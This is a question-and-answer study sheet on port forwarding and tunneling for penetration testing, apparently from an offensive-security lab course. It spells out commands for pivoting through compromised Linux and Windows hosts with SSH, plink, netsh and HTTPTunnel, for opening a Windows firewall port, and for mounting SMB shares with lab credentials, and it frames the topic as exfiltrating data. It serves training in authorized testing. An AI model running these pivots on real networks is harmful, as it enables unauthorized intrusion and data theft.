Port Redirection and Tunneling

Question 1

What is Port Forwarding?

Answer 1

• the simplest traffic manipulation manipulation technique

- redirects traffic destined for one IP address and port to another IP address and port

Question 2

If a target machine does not have Internet access, what must be done to exfiltrate data from that target machine?

Answer 2

• we must compromise another machine on the network with Internet access, and treat that machine as a go-between
• this requires the tedious process of moving data twice

Question 3

What port forwarding tool is recommended?

Answer 3

• rinetd

Question 4

What parameters are required in the /etc/rinetd.conf file?

Answer 4

• bindaddress = “listening” IP address
• bindport = “listening” port
• connectaddress = traffic’s destination address
• connectport = traffic’s destination port

Question 5

SSH Local Port Forwarding

Answer 5

• allows us to tunnel a local port to a remote server using SSH as the transport protocol

Question 6

Example of using SSH local port forwarding

Answer 6

• compromised Linux machine, which has port 22 open and no outbound traffic filtering
• there is another connected interface 192.168.1.x
• we identify a Windows Server 2016 machine that has network shares available
• ** We want to interact with the Server 2016 machine from our Kali attacking machine, pivoting through the compromised Linux client
• we want to forward port 445 on our Kali machine to port 445 on the Server 2016 machine

Question 7

If a firewall is blocking port 445, how can we pivot off a compromised Linux client to a Server 2016 target on the same network from an attacking machine outside the network?

Answer 7

• local port forward by tunneling through an SSH session to our Linux target on port 22, which is allowed through the firewall
• the request will hit our Kali machine on port 445, will be forwarded across the SSH session, and will then be passed on to port 445 on the Windows Server 2016 target

Question 8

Given the following, what command will connect port 445 on our Kali box to port 445 on the target Windows Server 2016 machine via SSH local port forward tunneling?

• Windows Server = 192.168.1.110
• Compromised Linux Client = 10.11.0.128
• Username = student

Answer 8

• • kali@kali:~$ sudo ssh -N -L 0.0.0.0:445:192.168.1.110:445 student@10.11.0.128
• ** -N = no commands are issued
• ** -L = sets up port forwarding

Question 9

What change needs to be made to the smb.conf file in order to be able to connect to port 445 on the Windows Server 2016?

Answer 9

• Windows Server 2016 does not support SMBv1
• Therefore, the smb.conf file must be changed to so the minimum SMB protocol used is SMBv2
• • kali@kali:~$ sudo vim /etc/samba/smb.conf
• • ‘min protocol = SMB2’
• ** Be sure to restart the smbd server for the smb.conf change to take effect
• • kali@kali:~$ sudo /etc/init.d/smbd restart

Question 10

After executing SSH tunneling from our Kali machine to the Windows Server 2016 machine, how can we enumerate remote SMB shares on the Windows Server 2016 machine?

Answer 10

• • kali@kali:~# smbclient -L 127.0.0.1 -U Administrator
• ** -L 127.0.0.1 = IP Address or NetBIOS name, in this case our local machine
• ** -U Administrator = the remote user name

Question 11

How does SSH Remote Port Forwarding differ from SSH Local Port Forwarding?

Answer 11

• SSH Remote Port Forwarding is the opposite of Local
• a port is opened on the ‘remote’ side of the connection and traffic sent to that port is forwarded to a port on our local machine (the machine initiating the SSH client)
• ** Connections made to the specified TCP port on the remote host will be forwarded to the specified port on the local machine

Question 12

Explain a scenario where we would want to use SSH Remote Port Forwarding

Answer 12

• We have access to a non-root shell on a Linux client on the internal network (same as before)
• On this compromised machine, we discover that a MySQL server is running on TCP port 3306
• The firewall is blocking ‘inbound’ TCP port 22, so we can’t SSH into this server from our Kali machine (unlike the previous example)
• *** However, we can SSH ‘outbound’ from the MySQL server to our Kali machine
• We can leverage SSH remote port forwarding (ssh -R) to open a port on our Kali machine that forwards traffic to the MySQL port (TCP 3306) on the internal server
• All forwarded traffic will traverse the SSH tunnel, right through the firewall

Question 13

When can SSH port forwards be run as non-root users?

Answer 13

• when we only bind unused non-privileged local ports (above 1024)

Question 14

What command will allow us to setup SSH Remote port forwarding from the compromise Linux machine to our Kali machine?
- Linux IP = 127.0.0.1 (local host)
- Kali = 10.11.0.4
How can we validate that the tunnel is up and that our Kali machine is connected through port 2221?

Answer 14

– student@debian:~$ ssh -N -R 10.11.0.4:2221:127.0.0.1:3306 kali@10.11.0.4
kali@10.11.0.4’
————————————-
*** We can verify that the tunnel is up and validate that TCP port 2221 is listening on our Kali machine
– kali@kali:~$ ss -antp | grep “2221”

Question 15

With the SSH Remote port forwarding setup, how can we scan the local host for the MySQL service?

Answer 15

– kali@kali:~$ sudo nmap -sS -sV 127.0.0.1 -p 2221

Question 16

What is SSH Dynamic Port Forwarding?

Answer 16

• ## allows us to set a local listening port and have it tunnel incoming traffic to any remote destination through the use of a proxy

Question 17

How do we setup an SSH Dynamic Port Forwarding tunnel between our Kali machine (127.0.0.1:8080) and the compromised Linux machine (10.11.0.128)?

Answer 17

– kali@kali:~$ sudo ssh -N -D 127.0.0.1:8080 student@10.11.0.128
** We have started an application proxy that can route application traffic to the target network through the SSH tunnel, BUT we must ALSO direct our reconnaissance and attack tools to use this proxy via ProxyChains
** We simply need to edit the main configuration file /etc/proxychains.conf and add our SOCKS4 proxy to it
– kali@kali:~$ cat /etc/proxychains.conf
– [ProxyList]
# add proxy here …
# meanwile
# defaults set to “tor”
socks4 127.0.0.1 8080

Question 18

With SSH Dynamic Port Forwarding Tunnel setup, how do we scan the Windows Server 2016 machine?

Answer 18

• • kali@kali:~$ sudo proxychains nmap –top-ports=20 -sT -Pn 192.168.1.110
• ** We just need to make sure we preface any command with ‘proxychains’

Question 19

Explain a scenario where we would want to establish an SSH tunnel from a compromised Windows machine back to the attacking Kali machine?

Answer 19

• We have gained access to a Windows 10 machine during our assessment and have obtained a SYSTEM-level reverse shell
• During our enumeration of services, we discovered a MYSQL service running on TCP 3306
• We would like to scan the database, but cannot directly because of the firewall
• With plink.exe, a Windows based command line SSH client (part of PuTTY), we can overcome this limitation

Question 20

What tool and command will allow us to create an SSH tunnel between the Windows machine and our Kali machine?

Answer 20

– C:\Tools\port_redirection_and_tunneling> plink.exe -ssh -l kali -pw ilak -R 10.11.0.4:
1234:127.0.0.1:3306 10.11.0.4
** The above will likely not work because there will be a question that needs to be answered when plink connects to the host for the first time and attempts to cache the key in the registry.
** Therefore, we will need to pipe the answer ‘y’ (yes) to the prompt with cmd.exe
—————————————–
–C:\Tools\port_redirection_and_tunneling> cmd.exe /c echo y | plink.exe -ssh -l kali -p
w ilak -R 10.11.0.4:1234:127.0.0.1:3306 10.11.0.4

Question 21

Once the Dynamic SSH Tunnel is active between the Windows client and our Kali machine, how can we scan for the MySQL service?

Answer 21

kali@kali:~$ sudo nmap -sS -sV 127.0.0.1 -p 1234

Question 22

What Windows command allows us to see all TCP ports listening for connections?

Answer 22

– C:\Windows\system32>netstat -anpb TCP

Question 23

What tool allows us to pivot from one Windows machine (10.11.0.x) to a Windows Server 2016 machine (192.168.1.x) on another connected network?

Answer 23

Netsh

Question 24

What must be enabled for Netsh to work?

Answer 24

• ‘IP Helper’ must be running service

- ‘IPv6’ support must be enabled in the network interface’s settings

Question 25

What command one-liner will connect the compromised Windows machine (10.11.0.22:4455) to the Windows Server 2016 machine (192.168.1.110:445)?

Answer 25

C:\Windows\system32> netsh interface portproxy add v4tov4 listenport=4455 listenaddres
s=10.11.0.22 connectport=445 connectaddress=192.168.1.110

Question 26

How can we verify that our ipv4-to-ipv4 connection was setup successfully?

Answer 26

C:\Windows\system32> netstat -anp TCP | find “4455”

Question 27

What needs to be done in order to make sure inbound connections can be made on port 4455?

Answer 27

• by default the Windows firewall will disallow inbound connections on TCP port 4455, which will prevent us from interacting with our tunnel
• Since we have SYSTEM privs, we can remedy this by adding a firewall rule to allow inbound connections on that port
  – C:\Windows\system32> netsh advfirewall firewall add rule name=”forward_port_rule” prot
  ocol=TCP dir=in localip=10.11.0.22 localport=4455 action=allow

Question 28

Since we will be connecting to the SMB shares on the Windows Server 2016 from our Kali box, what additional change needs to be made?

Answer 28

• Samba needs to be configured with a minimum SMB version of SMBv2
• • kali@kali:~$ sudo vim /etc/samba/smb.conf
• • min protocol = SMB2
• ** Remember to restart the smbd service after making the change to smb.conf **
• • kali@kali:~$ sudo /etc/init.d/smbd restart

Question 29

How can we list the SMB shares of the Windows Server 2016 through our tunnel (10.11.0.22)?
How can we mount a share from the Windows Server 2016 machine?
What is the gotcha we need to be aware of?

Answer 29

• We can connect to our compromised Windows machine on port 4455 using ‘smbclient’
• ## If everything goes according to plan, the traffic should be redirected and the available network share on the internal Windows Server 2016 machine should be returned– kali@kali:~$ smbclient -L 10.11.0.22 –port=4455 –user=Administrator
  ** The shares are listed, but we get an error
  ** This error is a timeout issue caused by a port forwarding error
  ** We should still be able to interact with the shares
  ———————————–
  – kali@kali:~$ sudo mkdir /mnt/win10_share
  – kali@kali:~$ sudo mount -t cifs -o port=4455 //10.11.0.22/Data -o username=Administrat
  or,password=Qwerty09! /mnt/win10_share
  ** We can mount to the smb share of the Windows Server 2016 machine

Question 30

How can we create an HTTP Tunnel that allows us to create a remote desktop connection from our Kali machine to the Windows Server 2016 machine, through a compromised Linux server using only the HTTP protocol?

Answer 30

** We will rely on HTTPTunnel to encapsulate our HTTP requests, creating an “HTTP Tunnel”
– kali@kali:~$ sudo apt install httptunnel
________________________________________
** We then crate a local forward on the compromised Linux server and forward all requests on 8888 to the Windows Server port 3389
– www-data@debian:/$ ssh -L 0.0.0.0:8888:192.168.1.110:3389 student@127.0.0.1
** Check to see that the Linux server is listening on 8888
– student@debian:~$ ss -antp | grep “8888”
___________________________________________
** Next, we create an HTTPTunnel out to our Kali machine
** We will setup the sever ‘hts’ that will listen on 1234, decapsulate the traffic and redirect to localhost 8888 (which is redirected to Windows target 3389)
– student@debian:~$ hts –forward-port localhost:8888 1234
** Make sure the hts server is running
– student@debian:~$ ps aux | grep hts
** Make sure 1234 is listening
– student@debian:~$ ss -antp | grep “1234”
_________________________________________
** Next, we need an HTTPTunnel client that will take our remote desktop traffic, ecapsulate it into an HTTP stream, and send it to the listening HTTPTunnel server.
** This ‘htc’ command will listen on localhost port 8080, HTTP-encapsulate the traffic, and forward it across the firewall to our listening HTTPTunnel sever on 1234
– kali@kali:~$ htc –forward-port 8080 10.11.0.128:1234
** Make sure the htc service is running
– kali@kali:~$ ps aux | grep htc
** Make sure 8080 is listening
– kali@kali:~$ ss -antp | grep “8080”
__________________________________________
** Now just create an Remote Desktop connection
– kali@kali:~$ rdesktop 127.0.0.1:8080

Question 31

How does an HTTP Tunnel work between a Kali machine outside of the network connecting to a Windows Server 2016 on port 3389, through a compromised Linux server on the same network, if the firewall does not allows SSH or RDP traffic?

Answer 31

1. We have an HTTP-based shell on the internal Linux server that has been compromised, via port 443 that the firewall allows
2. We will create a local port forward on the compromised Linux server bound to port 8888…which will forward all connections to the Windows Server on port 3389
3. The protocol restriction in the firewall will create a problem when we attempt to connect a tunnel from the Linux server to our Kali machine (SSH-based tunnel will be blocked because of the disallowed protocol)
4. To solve this, we will create an HTTP-based tunnel (permitted protocol) between the machines using HTTPTunnel
5. The “input” of this HTTP tunnel will be on our Kali Linux machine (local host 8080) and the tunnel will “ouput” to the compromised Linux machine on port 1234 (across the firewall)
6. Then, the HTTP requests will be decapsulated, and the traffic will be handed off to the listening port 8888 (still on the compromised Linux server) which is then redirected by the SSH-based local forward to our Windows target’s remote desktop port (3389)
7. With this setup, we will initiate a Remote Desktop session to our Kali machine’s localhost 8080
8. This request will be HTTP-encapsulated, sent across the HTTPTunnel as HTTP traffic to port 1234 on the Linux Server, decapsulated, and finally sent to our Windows target’s remote desktop port 3389.